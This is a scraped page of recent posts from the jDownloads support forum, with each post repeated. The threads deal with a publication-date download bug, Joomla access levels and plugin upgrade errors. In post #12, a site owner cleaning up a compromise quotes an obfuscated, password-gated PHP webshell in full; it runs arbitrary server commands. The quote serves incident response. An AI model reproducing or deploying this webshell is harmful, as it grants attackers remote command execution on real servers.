- Welcome to jDownloads Support Forum.
jDownloads Support Forum
Here can you get help for jDownloads!
Recent posts
#11
General / Re: "You do not have permissio...
Last post by Arno - 16.10.2026 18:28:45Hi,
thank you for the detailed reply and screenshots. They help us separate the download problem from the security incident.
Your database screenshot shows `0000-00-00 00:00:00` in the `publish_down` field for all visible downloads. Several have valid publication start dates. This matches a jDownloads issue we have reproduced locally: the newer publication-date checks can reject these legacy end-date values and display a misleading permissions message.
We have tested a controller correction successfully and are preparing improved update handling for existing zero-date values. These corrections are planned for jDownloads 4.1.8 Stable, which is currently undergoing regression testing. Please keep the 4.1.7 controller installed rather than reverting to 4.1.4. There is no need to change the database values manually at this stage.
The security situation remains a separate concern. The PHP webshell you found allows server commands to be executed with the webserver's permissions. Removing the discovered files, reinstalling jDownloads and changing passwords are important steps, but they do not establish that the entire installation is clean.
Although you mentioned a 15-day backup history, please contact your hosting provider's support directly and ask specifically about **automatic backups, snapshots or archived recovery points from before the earliest suspected compromise in July**. Many providers retain backups covering recent weeks, and support may have recovery options beyond those shown in the customer panel. However, retention varies, and recent backups may already contain the compromise.
Your January backup is another potential recovery source, but it should also be checked before use. Any restoration should include both files and database in a clean location, followed by all required security updates before the site is made public again. Your host or a qualified security spe***t may be able to assist with verification and recovery.
We will update this thread when 4.1.8 is available. Fixing the download issue must not be taken as confirmation that the security incident has been fully resolved.
thank you for the detailed reply and screenshots. They help us separate the download problem from the security incident.
Your database screenshot shows `0000-00-00 00:00:00` in the `publish_down` field for all visible downloads. Several have valid publication start dates. This matches a jDownloads issue we have reproduced locally: the newer publication-date checks can reject these legacy end-date values and display a misleading permissions message.
We have tested a controller correction successfully and are preparing improved update handling for existing zero-date values. These corrections are planned for jDownloads 4.1.8 Stable, which is currently undergoing regression testing. Please keep the 4.1.7 controller installed rather than reverting to 4.1.4. There is no need to change the database values manually at this stage.
The security situation remains a separate concern. The PHP webshell you found allows server commands to be executed with the webserver's permissions. Removing the discovered files, reinstalling jDownloads and changing passwords are important steps, but they do not establish that the entire installation is clean.
Although you mentioned a 15-day backup history, please contact your hosting provider's support directly and ask specifically about **automatic backups, snapshots or archived recovery points from before the earliest suspected compromise in July**. Many providers retain backups covering recent weeks, and support may have recovery options beyond those shown in the customer panel. However, retention varies, and recent backups may already contain the compromise.
Your January backup is another potential recovery source, but it should also be checked before use. Any restoration should include both files and database in a clean location, followed by all required security updates before the site is made public again. Your host or a qualified security spe***t may be able to assist with verification and recovery.
We will update this thread when 4.1.8 is available. Fixing the download issue must not be taken as confirmation that the security incident has been fully resolved.
#12
General / Re: "You do not have permissio...
Last post by jeery2212 - 16.10.2026 18:08:27Hello Arno,
Thank you for taking the time to help me.
To answer your question: the site was cleaned, not restored. I found traces of compromise dating from July, but my file and database backups were already corrupted. My shared host only keeps 15 days of history, so I had no earlier, clean backup (the site has changed in the meantime). However, I have just found one from early January 2026.
Actions taken: I cleaned the following folders: administrator/components/com_jdownloads/test_uploads/ and administrator/components/com_jdownloads/assets/upload/, added .htaccess files to block access to them, and changed the administrator credentials (4 Super User accounts).
I have also changed the FTP password and the MySQL database password.
I checked a few other folders for comparison (/images, /tmp, etc.): apart from the two folders above, I found nothing that had been modified.
The test_uploads folder contained files whose content was either "hacked by trenggalek6etar" and "Hacked By Antonkill", or a PHP webshell script, the beginning of which is shown below:
<?php error_reporting(0);@ini_set('display_errors',0);$k="xxxxxxxxxxx";if(!isset($_REQUEST["p"])||$_REQUEST["p"]!==$k){http_response_code(404);echo"<!DOCTYPE html><html><body><h1>404 Not Found</h1></body></html>";exit;}$c=null;if(isset($_REQUEST["b"])){$bd="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$c=$bd($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$c=$_REQUEST["c"];}if($c!==null){$o="";$f="\x73\x79\x73\x74\x65\x6d";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x70\x61\x73\x73\x74\x68\x72\x75";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x65\x78\x65\x63";if(function_exists($f)){@$f($c,$a);$o=implode("\n",$a);}else{$f="\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63";if(function_exists($f)){$o=@$f($c);}else{$f="\x70\x6f\x70\x65\x6e";if(function_exists($f)){$p=@$f($c,"r");if($p){$o=stream_get_contents($p);pclose($p);}}else{$o=`$c`;}}}}}echo"".$o."[E]";}else{echo"OK[E]";} ?>
The screenshot below shows the files present in the folder; the files added in mid-September are missing from it.
Next, I deleted the folders administrator/components/com_jdownloads/ and components/com_jdownloads/, then reinstalled jDownloads without cleaning the database (jDownloads manages about 300 items).
The uncompromised backup dates from early January 2026. If I have no other choice, I will start again from it, but I would prefer to avoid that if possible, as it would make things easier for me.
Joomla is set to auto-update and extensions are updated regularly (about once a month), but this summer the update was only carried out in early September.
I have just put back the DownloadController.php file from version 4.1.7 (the one that causes the bug described at the top of this thread).
Here are a few "publish_up" and "publish_down" entries: none of these files can be downloaded.
In the log file 1.com_jdownloads_install_logs.php, I only find the information below (version 4.1.6 already caused the download bug, but no user had reported it to me):
I find no information about publish_down.
If you know the path to any other useful logs, I can retrieve them without any problem.
#
#<?php die('Forbidden.'); ?>
#Date: 2026-09-02 14:46:11 UTC
#Software: Joomla! 5.4.8 Stable [ Kutegemea ] 18-August-2026 16:00 GMT
#Fields: date time priority message
2026-09-02 14:46:11 INFO ------------------------------------------------------ System Information
2026-09-02 14:46:11 INFO OS : Linux w
2026-09-02 14:46:11 INFO PHP : 8.4.22
2026-09-02 14:46:11 INFO MySQL : 8.0.46-37
2026-09-02 14:46:11 INFO Joomla! : 5.4.8
2026-09-02 14:46:11 INFO Debug :
2026-09-02 14:46:11 INFO Debug Language :
2026-09-02 14:46:11 INFO Error Reporting : none
2026-09-02 14:46:11 INFO SEF : 1
2026-09-02 14:46:11 INFO Unicode Aliases :
2026-09-02 14:46:11 INFO System Cache : 0
2026-09-02 14:46:11 INFO Captcha : 0
2026-09-02 14:46:11 INFO ------------------------------------------------------ Update Started
2026-09-02 14:46:12 INFO Update started by user xxxxxxxxxx (62). Old version is 4.1.4. New version is 4.1.6 Stable.
2026-09-02 14:46:13 INFO Modules succesfully installed/updated: 12.
2026-09-02 14:46:13 INFO Plugins succesfully installed/updated: 6.
2026-09-02 14:46:14 INFO Additional index `idx_catid_extra` exists already in jdownloads_files table.
2026-09-02 14:46:14 INFO ------------------------------------------------------ Update Finished
2026-09-25 20:44:05 INFO ------------------------------------------------------ System Information
2026-09-25 20:44:05 INFO OS : Linux w
2026-09-25 20:44:05 INFO PHP : 8.4.22
2026-09-25 20:44:05 INFO MySQL : 8.0.46-37
2026-09-25 20:44:05 INFO Joomla! : 5.4.8
2026-09-25 20:44:05 INFO Debug :
2026-09-25 20:44:05 INFO Debug Language :
2026-09-25 20:44:05 INFO Error Reporting : none
2026-09-25 20:44:05 INFO SEF : 1
2026-09-25 20:44:05 INFO Unicode Aliases :
2026-09-25 20:44:05 INFO System Cache : 0
2026-09-25 20:44:05 INFO Captcha : 0
2026-09-25 20:44:05 INFO ------------------------------------------------------ Update Started
2026-09-25 20:44:07 INFO Update started by user xxxxxxxxxx (62). Old version is 4.1.7. New version is 4.1.7 Stable.
2026-09-25 20:44:08 INFO Modules succesfully installed/updated: 12.
2026-09-25 20:44:08 INFO Plugins succesfully installed/updated: 6.
2026-09-25 20:44:09 INFO Additional index `idx_catid_extra` exists already in jdownloads_files table.
2026-09-25 20:44:09 INFO ------------------------------------------------------ Update Finished
Regarding the plugins installed in the jDownloads group: I only have the base ones (no payment plugin or custom plugin).
Name Location Type Version Date Author Folder
Button - jDownloads Content Site Plugin 4.1 14/02/2026 Arno Betz editors-xtd
com_jdownloads - fr-FR Site File 2023-02-10-12-02-03 10/02/2023 Arno Betz N/A
Content - jDownloads tag correction Site Plugin 4.0 07/09/2022 Arno Betz content
Content - jDownloads Site Plugin 4.1 19/02/2026 Arno Betz content
jDownloads Administrator Component 4.1.7 Stable 24/07/2026 Arno Betz N/A
jDownloads Administrator Monitoring Administrator Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Featured Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Last Updated Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Latest Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Most Recently Downloaded Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Rated Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Related Site Module 4.1.2 31/03/2026 Arno Betz N/A
jDownloads Stats Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Stats for Administrators Administrator Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Top Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Tree Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads View Limits Site Module 4.1 10/02/2026 Arno Betz N/A
Smart Search - jDownloads Site Plugin 4.0.36 24/10/2023 Arno Betz finder
Smart Search - jDownloads Categories Site Plugin 4.0 25/12/2022 Arno Betz finder
System - jDownloads Site Plugin 4.0.43 26/06/2024 Arno Betz system
I will not be very available next week, so please excuse me if I take a little time to reply.
Thank you in advance for your help.
Kind regards,
Thank you for taking the time to help me.
To answer your question: the site was cleaned, not restored. I found traces of compromise dating from July, but my file and database backups were already corrupted. My shared host only keeps 15 days of history, so I had no earlier, clean backup (the site has changed in the meantime). However, I have just found one from early January 2026.
Actions taken: I cleaned the following folders: administrator/components/com_jdownloads/test_uploads/ and administrator/components/com_jdownloads/assets/upload/, added .htaccess files to block access to them, and changed the administrator credentials (4 Super User accounts).
I have also changed the FTP password and the MySQL database password.
I checked a few other folders for comparison (/images, /tmp, etc.): apart from the two folders above, I found nothing that had been modified.
The test_uploads folder contained files whose content was either "hacked by trenggalek6etar" and "Hacked By Antonkill", or a PHP webshell script, the beginning of which is shown below:
<?php error_reporting(0);@ini_set('display_errors',0);$k="xxxxxxxxxxx";if(!isset($_REQUEST["p"])||$_REQUEST["p"]!==$k){http_response_code(404);echo"<!DOCTYPE html><html><body><h1>404 Not Found</h1></body></html>";exit;}$c=null;if(isset($_REQUEST["b"])){$bd="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$c=$bd($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$c=$_REQUEST["c"];}if($c!==null){$o="";$f="\x73\x79\x73\x74\x65\x6d";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x70\x61\x73\x73\x74\x68\x72\x75";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x65\x78\x65\x63";if(function_exists($f)){@$f($c,$a);$o=implode("\n",$a);}else{$f="\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63";if(function_exists($f)){$o=@$f($c);}else{$f="\x70\x6f\x70\x65\x6e";if(function_exists($f)){$p=@$f($c,"r");if($p){$o=stream_get_contents($p);pclose($p);}}else{$o=`$c`;}}}}}echo"".$o."[E]";}else{echo"OK[E]";} ?>
The screenshot below shows the files present in the folder; the files added in mid-September are missing from it.
Next, I deleted the folders administrator/components/com_jdownloads/ and components/com_jdownloads/, then reinstalled jDownloads without cleaning the database (jDownloads manages about 300 items).
The uncompromised backup dates from early January 2026. If I have no other choice, I will start again from it, but I would prefer to avoid that if possible, as it would make things easier for me.
Joomla is set to auto-update and extensions are updated regularly (about once a month), but this summer the update was only carried out in early September.
I have just put back the DownloadController.php file from version 4.1.7 (the one that causes the bug described at the top of this thread).
Here are a few "publish_up" and "publish_down" entries: none of these files can be downloaded.
In the log file 1.com_jdownloads_install_logs.php, I only find the information below (version 4.1.6 already caused the download bug, but no user had reported it to me):
I find no information about publish_down.
If you know the path to any other useful logs, I can retrieve them without any problem.
#
#<?php die('Forbidden.'); ?>
#Date: 2026-09-02 14:46:11 UTC
#Software: Joomla! 5.4.8 Stable [ Kutegemea ] 18-August-2026 16:00 GMT
#Fields: date time priority message
2026-09-02 14:46:11 INFO ------------------------------------------------------ System Information
2026-09-02 14:46:11 INFO OS : Linux w
2026-09-02 14:46:11 INFO PHP : 8.4.22
2026-09-02 14:46:11 INFO MySQL : 8.0.46-37
2026-09-02 14:46:11 INFO Joomla! : 5.4.8
2026-09-02 14:46:11 INFO Debug :
2026-09-02 14:46:11 INFO Debug Language :
2026-09-02 14:46:11 INFO Error Reporting : none
2026-09-02 14:46:11 INFO SEF : 1
2026-09-02 14:46:11 INFO Unicode Aliases :
2026-09-02 14:46:11 INFO System Cache : 0
2026-09-02 14:46:11 INFO Captcha : 0
2026-09-02 14:46:11 INFO ------------------------------------------------------ Update Started
2026-09-02 14:46:12 INFO Update started by user xxxxxxxxxx (62). Old version is 4.1.4. New version is 4.1.6 Stable.
2026-09-02 14:46:13 INFO Modules succesfully installed/updated: 12.
2026-09-02 14:46:13 INFO Plugins succesfully installed/updated: 6.
2026-09-02 14:46:14 INFO Additional index `idx_catid_extra` exists already in jdownloads_files table.
2026-09-02 14:46:14 INFO ------------------------------------------------------ Update Finished
2026-09-25 20:44:05 INFO ------------------------------------------------------ System Information
2026-09-25 20:44:05 INFO OS : Linux w
2026-09-25 20:44:05 INFO PHP : 8.4.22
2026-09-25 20:44:05 INFO MySQL : 8.0.46-37
2026-09-25 20:44:05 INFO Joomla! : 5.4.8
2026-09-25 20:44:05 INFO Debug :
2026-09-25 20:44:05 INFO Debug Language :
2026-09-25 20:44:05 INFO Error Reporting : none
2026-09-25 20:44:05 INFO SEF : 1
2026-09-25 20:44:05 INFO Unicode Aliases :
2026-09-25 20:44:05 INFO System Cache : 0
2026-09-25 20:44:05 INFO Captcha : 0
2026-09-25 20:44:05 INFO ------------------------------------------------------ Update Started
2026-09-25 20:44:07 INFO Update started by user xxxxxxxxxx (62). Old version is 4.1.7. New version is 4.1.7 Stable.
2026-09-25 20:44:08 INFO Modules succesfully installed/updated: 12.
2026-09-25 20:44:08 INFO Plugins succesfully installed/updated: 6.
2026-09-25 20:44:09 INFO Additional index `idx_catid_extra` exists already in jdownloads_files table.
2026-09-25 20:44:09 INFO ------------------------------------------------------ Update Finished
Regarding the plugins installed in the jDownloads group: I only have the base ones (no payment plugin or custom plugin).
Name Location Type Version Date Author Folder
Button - jDownloads Content Site Plugin 4.1 14/02/2026 Arno Betz editors-xtd
com_jdownloads - fr-FR Site File 2023-02-10-12-02-03 10/02/2023 Arno Betz N/A
Content - jDownloads tag correction Site Plugin 4.0 07/09/2022 Arno Betz content
Content - jDownloads Site Plugin 4.1 19/02/2026 Arno Betz content
jDownloads Administrator Component 4.1.7 Stable 24/07/2026 Arno Betz N/A
jDownloads Administrator Monitoring Administrator Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Featured Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Last Updated Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Latest Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Most Recently Downloaded Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Rated Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Related Site Module 4.1.2 31/03/2026 Arno Betz N/A
jDownloads Stats Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Stats for Administrators Administrator Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Top Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads Tree Site Module 4.1 10/02/2026 Arno Betz N/A
jDownloads View Limits Site Module 4.1 10/02/2026 Arno Betz N/A
Smart Search - jDownloads Site Plugin 4.0.36 24/10/2023 Arno Betz finder
Smart Search - jDownloads Categories Site Plugin 4.0 25/12/2022 Arno Betz finder
System - jDownloads Site Plugin 4.0.43 26/06/2024 Arno Betz system
I will not be very available next week, so please excuse me if I take a little time to reply.
Thank you in advance for your help.
Kind regards,
#13
General / Re: "You do not have permissio...
Last post by Arno - 15.10.2026 19:43:19Hi,
before investigating the download-permission issue further, could you please clarify how the site was recovered after the compromise?
Did you restore a complete backup from before the earliest known infection, or did you only update jDownloads and delete the suspicious files?
If you restored a backup, please confirm:
- Whether both the website files and database were restored.
- Whether the existing compromised files were removed first, rather than simply overwritten.
- Whether the security update and removal of obsolete upload directories were completed before reopening the site.
Updating and deleting the discovered files alone does not establish that the installation is clean. Even a backup restoration requires verification, and potentially exposed credentials should be changed.
Please also do not continue using the 4.1.4 DownloadController as a workaround, as this rolls back subsequent fixes.
Once we understand the recovery steps and have a clean, consistently updated installation, we can investigate the download permissions reliably.
One further point after comparing the actual 4.1.4 and 4.1.7 controller files: version 4.1.7 added publication-date checks and a pre-delivery authorization hook. Either could help explain why the older controller allows downloads while the newer one refuses them.
Could you please also provide:
- The exact database values of `publish_up` and `publish_down` for one affected download, including whether they contain SQL `NULL` or `0000-00-00 00:00:00`. The dates shown in the backend alone may not reveal this distinction.
- The relevant entries from the jDownloads installation/update log, especially any errors or messages about correcting the `publish_down` field.
- A list of installed plugins in the **jdownloads** plugin group, including any custom or third-party download authorization or payment plugins.
Please do not change those values yet. We would first like to establish which of the new checks is responsible for the refusal.
before investigating the download-permission issue further, could you please clarify how the site was recovered after the compromise?
Did you restore a complete backup from before the earliest known infection, or did you only update jDownloads and delete the suspicious files?
If you restored a backup, please confirm:
- Whether both the website files and database were restored.
- Whether the existing compromised files were removed first, rather than simply overwritten.
- Whether the security update and removal of obsolete upload directories were completed before reopening the site.
Updating and deleting the discovered files alone does not establish that the installation is clean. Even a backup restoration requires verification, and potentially exposed credentials should be changed.
Please also do not continue using the 4.1.4 DownloadController as a workaround, as this rolls back subsequent fixes.
Once we understand the recovery steps and have a clean, consistently updated installation, we can investigate the download permissions reliably.
One further point after comparing the actual 4.1.4 and 4.1.7 controller files: version 4.1.7 added publication-date checks and a pre-delivery authorization hook. Either could help explain why the older controller allows downloads while the newer one refuses them.
Could you please also provide:
- The exact database values of `publish_up` and `publish_down` for one affected download, including whether they contain SQL `NULL` or `0000-00-00 00:00:00`. The dates shown in the backend alone may not reveal this distinction.
- The relevant entries from the jDownloads installation/update log, especially any errors or messages about correcting the `publish_down` field.
- A list of installed plugins in the **jdownloads** plugin group, including any custom or third-party download authorization or payment plugins.
Please do not change those values yet. We would first like to establish which of the new checks is responsible for the refusal.
#14
General / Re: Usergroups permissions que...
Last post by Arno - 15.10.2026 19:17:50Hi,
your setup is possible. The important distinction is between user groups, viewing access levels, and permissions.
The "Access" dropdown lists viewing access levels, not user groups. That is why ITA and EXW do not appear automatically.
Please configure the following:
1. Under Users → Access Levels, create an access level named ITA, selecting only the ITA user group. Create another named EXW, selecting only EXW. Do not include Registered in either level, as both groups inherit membership of Registered.
2. In jDownloads, assign access level ITA to the ITA category and FileITA. Assign EXW to the EXW category and FileEXW.
3. Keep the download-area menu item accessible to Registered, so both groups can reach it.
4. In jDownloads permissions, allow Download for ITA and EXW. Check the effective permissions on the categories and individual downloads too. An explicit Denied inherited from a parent group or category cannot be overridden by selecting Allowed further down.
5. Leave Create, Edit, Edit Own, Delete and administrative access ungranted for these users. They do not need those permissions to download.
Test with two ordinary accounts: one belonging to ITA and one to EXW, without additional privileged group memberships. Log out and back in after changing memberships.
If the download-permission message remains, please provide screenshots of the effective Download permissions for the affected category and file, together with your exact Joomla and jDownloads versions.
your setup is possible. The important distinction is between user groups, viewing access levels, and permissions.
The "Access" dropdown lists viewing access levels, not user groups. That is why ITA and EXW do not appear automatically.
Please configure the following:
1. Under Users → Access Levels, create an access level named ITA, selecting only the ITA user group. Create another named EXW, selecting only EXW. Do not include Registered in either level, as both groups inherit membership of Registered.
2. In jDownloads, assign access level ITA to the ITA category and FileITA. Assign EXW to the EXW category and FileEXW.
3. Keep the download-area menu item accessible to Registered, so both groups can reach it.
4. In jDownloads permissions, allow Download for ITA and EXW. Check the effective permissions on the categories and individual downloads too. An explicit Denied inherited from a parent group or category cannot be overridden by selecting Allowed further down.
5. Leave Create, Edit, Edit Own, Delete and administrative access ungranted for these users. They do not need those permissions to download.
Test with two ordinary accounts: one belonging to ITA and one to EXW, without additional privileged group memberships. Log out and back in after changing memberships.
If the download-permission message remains, please provide screenshots of the effective Download permissions for the affected category and file, together with your exact Joomla and jDownloads versions.
#15
Bugs! / Re: Leftovers from the obsolet...
Last post by Arno - 15.10.2026 19:10:56Hi Pete,
thank you for reporting these findings. We have noted the obsolete language files and `.ini.old` leftovers for future cleanup, and will separately verify the language-filename compatibility concern.
To avoid introducing unnecessary changes just before the 4.1.8 release, we will review these items afterwards.
thank you for reporting these findings. We have noted the obsolete language files and `.ini.old` leftovers for future cleanup, and will separately verify the language-filename compatibility concern.
To avoid introducing unnecessary changes just before the 4.1.8 release, we will review these items afterwards.
#16
Bugs! / Re: Probable fix for php error...
Last post by Arno - 15.10.2026 16:25:38Hi Baba,
thank you for reporting this and sharing your proposed solution.
We have reproduced the PHP warning when the referrer is missing or contains a host without a trailing slash. A narrowly scoped fix is now included in the upcoming 4.1.8 release: missing URL parts are handled without generating warnings.
We have deliberately preserved the existing blocking and allowlist behaviour rather than adopting the complete replacement function. Your additional suggestions regarding host normalization and empty-referrer handling have been noted for separate review.
Thanks again for your contribution.
thank you for reporting this and sharing your proposed solution.
We have reproduced the PHP warning when the referrer is missing or contains a host without a trailing slash. A narrowly scoped fix is now included in the upcoming 4.1.8 release: missing URL parts are handled without generating warnings.
We have deliberately preserved the existing blocking and allowlist behaviour rather than adopting the complete replacement function. Your additional suggestions regarding host normalization and empty-referrer handling have been noted for separate review.
Thanks again for your contribution.
#17
Bugs! / Re: Error: Call to a member fu...
Last post by Arno - 15.10.2026 16:14:58Hi Baba,
thank you for investigating this and sharing your proposed fix.
I have tested the scan and actual file import with both the published 4.1.7 release on our demo site and our current 4.1.8 development version. In these tests, the files were added successfully without the `getTag()` error. This does not rule out a problem specific to your installation.
Your language-initialization change is plausible, and the additional error details and clearer failure reporting are useful suggestions. However, since the attached script contains several changes, we cannot yet establish which change resolved the issue on your site.
With 4.1.8 nearing release, I have recorded these suggestions for a separate follow-up rather than incorporating the complete replacement script at this stage.
Once 4.1.8 is available, please test it on a backed-up test copy without replacing its scan worker with your modified version. If the error persists, please send the full error details, especially the file and line number where `getTag()` fails.
Thanks again for your contribution and patience.
thank you for investigating this and sharing your proposed fix.
I have tested the scan and actual file import with both the published 4.1.7 release on our demo site and our current 4.1.8 development version. In these tests, the files were added successfully without the `getTag()` error. This does not rule out a problem specific to your installation.
Your language-initialization change is plausible, and the additional error details and clearer failure reporting are useful suggestions. However, since the attached script contains several changes, we cannot yet establish which change resolved the issue on your site.
With 4.1.8 nearing release, I have recorded these suggestions for a separate follow-up rather than incorporating the complete replacement script at this stage.
Once 4.1.8 is available, please test it on a backed-up test copy without replacing its scan worker with your modified version. If the error persists, please send the full error details, especially the file and line number where `getTag()` fails.
Thanks again for your contribution and patience.
#18
Bugs! / Re: Critical Issue: Incomplete...
Last post by Arno - 15.10.2026 13:10:27Hi Abdullah,
thank you for your report.
jDownloads 4.1.x supports Joomla 5 and Joomla 6, and no longer uses the obsolete `JPlugin` class. Consequently, it does not use the plugins mentioned, which are included in the package.
The plugin versions you listed (`4.0.43`, `4.0.36` and `4.0`) are their current individual version numbers. They do not need to match the component version, so these numbers alone do not indicate an incomplete update.
An outdated third-party plugin could cause this error, even when it appears during a jDownloads operation. We have seen this before: the cause in this topic was the unrelated Textman content plugin.
However, we need the exact error details before identifying the cause on your site. Please provide:
- The full error message and stack trace, especially the file path and line number where `JPlugin` is referenced.
- Your exact Joomla and PHP versions.
- The jDownloads version you upgraded from, and any installation warnings.
If necessary, reproduce this on a backed-up test copy with Debug System enabled and Error Reporting set to Maximum. Restore those settings afterwards, and remove any credentials or other sensitive information before posting the trace.
Please do not uninstall jDownloads or delete its data as a troubleshooting step. Once we know which file causes the error, we can recommend a targeted solution.
Best regards
Arno
thank you for your report.
jDownloads 4.1.x supports Joomla 5 and Joomla 6, and no longer uses the obsolete `JPlugin` class. Consequently, it does not use the plugins mentioned, which are included in the package.
The plugin versions you listed (`4.0.43`, `4.0.36` and `4.0`) are their current individual version numbers. They do not need to match the component version, so these numbers alone do not indicate an incomplete update.
An outdated third-party plugin could cause this error, even when it appears during a jDownloads operation. We have seen this before: the cause in this topic was the unrelated Textman content plugin.
However, we need the exact error details before identifying the cause on your site. Please provide:
- The full error message and stack trace, especially the file path and line number where `JPlugin` is referenced.
- Your exact Joomla and PHP versions.
- The jDownloads version you upgraded from, and any installation warnings.
If necessary, reproduce this on a backed-up test copy with Debug System enabled and Error Reporting set to Maximum. Restore those settings afterwards, and remove any credentials or other sensitive information before posting the trace.
Please do not uninstall jDownloads or delete its data as a troubleshooting step. Once we know which file causes the error, we can recommend a targeted solution.
Best regards
Arno
#19
Bugs! / Re: Critical Issue: Incomplete...
Last post by ColinM - 12.10.2026 13:17:45Abdullah,
Thank you for the query. I have not come across this previously. As far as I know the update to jD4.1.7 went smoothly so I am a little puzzled you had a 'problem'. In particular if the System plugin failed then that would cause very strange results.
From which version were you updating?
Best wishes
ColinM
Thank you for the query. I have not come across this previously. As far as I know the update to jD4.1.7 went smoothly so I am a little puzzled you had a 'problem'. In particular if the System plugin failed then that would cause very strange results.
From which version were you updating?
Best wishes
ColinM
#20
Bugs! / Critical Issue: Incomplete Upd...
Last post by tatabdullah - 11.10.2026 14:40:16Dear jDownloads Support Team / Arno,
I am writing to report a critical issue I encountered while attempting to upgrade my site from Joomla 5 to Joomla 6, utilizing jDownloads version 4.1.7.
My site heavily relies on jDownloads, and following your official guidelines, I ensured the main component was updated to version 4.1.7 Stable, which is stated to be Joomla 6 compatible.
However, during the migration preparation, when I disabled the Joomla "System - Backward Compatibility" plugin (which is required for Joomla 6), my site experienced severe fatal errors (specifically, "Class 'JPlugin' not found" Call Stack errors), completely locking me out of both the frontend and the backend admin panel.
After thorough troubleshooting (including checking error logs and database entries), I discovered the root cause:
While the main jDownloads component successfully updated to 4.1.7, several crucial sub-plugins associated with jDownloads remained stuck on older 4.0.x versions and were still attempting to use the deprecated JPlugin class instead of the modern Joomla 5/6 API.
Specifically, the following plugins were not updated alongside the main component and caused the crashes:
System - jDownloads (remained at v4.0.43)
Smart Search - jDownloads (remained at v4.0.36)
Content - jDownloads Tags Correction (remained at v4.0)
To resolve the fatal errors and regain access to my site, I had to completely disable these specific legacy plugins and physically rename the component folders via FTP.
My Request / Question:
Is there a known issue regarding the update routine not properly triggering the update for these sub-plugins to their 4.1.x equivalents? To safely proceed with my Joomla 6 upgrade, what is the official recommended method to ensure these specific sub-plugins (especially the System plugin) are brought up to the Joomla 6 compatible standards without losing my existing download data and configurations?
Thank you for your time and for this excellent component. I look forward to your guidance.
Best regards,
Abdullah Tat
I am writing to report a critical issue I encountered while attempting to upgrade my site from Joomla 5 to Joomla 6, utilizing jDownloads version 4.1.7.
My site heavily relies on jDownloads, and following your official guidelines, I ensured the main component was updated to version 4.1.7 Stable, which is stated to be Joomla 6 compatible.
However, during the migration preparation, when I disabled the Joomla "System - Backward Compatibility" plugin (which is required for Joomla 6), my site experienced severe fatal errors (specifically, "Class 'JPlugin' not found" Call Stack errors), completely locking me out of both the frontend and the backend admin panel.
After thorough troubleshooting (including checking error logs and database entries), I discovered the root cause:
While the main jDownloads component successfully updated to 4.1.7, several crucial sub-plugins associated with jDownloads remained stuck on older 4.0.x versions and were still attempting to use the deprecated JPlugin class instead of the modern Joomla 5/6 API.
Specifically, the following plugins were not updated alongside the main component and caused the crashes:
System - jDownloads (remained at v4.0.43)
Smart Search - jDownloads (remained at v4.0.36)
Content - jDownloads Tags Correction (remained at v4.0)
To resolve the fatal errors and regain access to my site, I had to completely disable these specific legacy plugins and physically rename the component folders via FTP.
My Request / Question:
Is there a known issue regarding the update routine not properly triggering the update for these sub-plugins to their 4.1.x equivalents? To safely proceed with my Joomla 6 upgrade, what is the official recommended method to ensure these specific sub-plugins (especially the System plugin) are brought up to the Joomla 6 compatible standards without losing my existing download data and configurations?
Thank you for your time and for this excellent component. I look forward to your guidance.
Best regards,
Abdullah Tat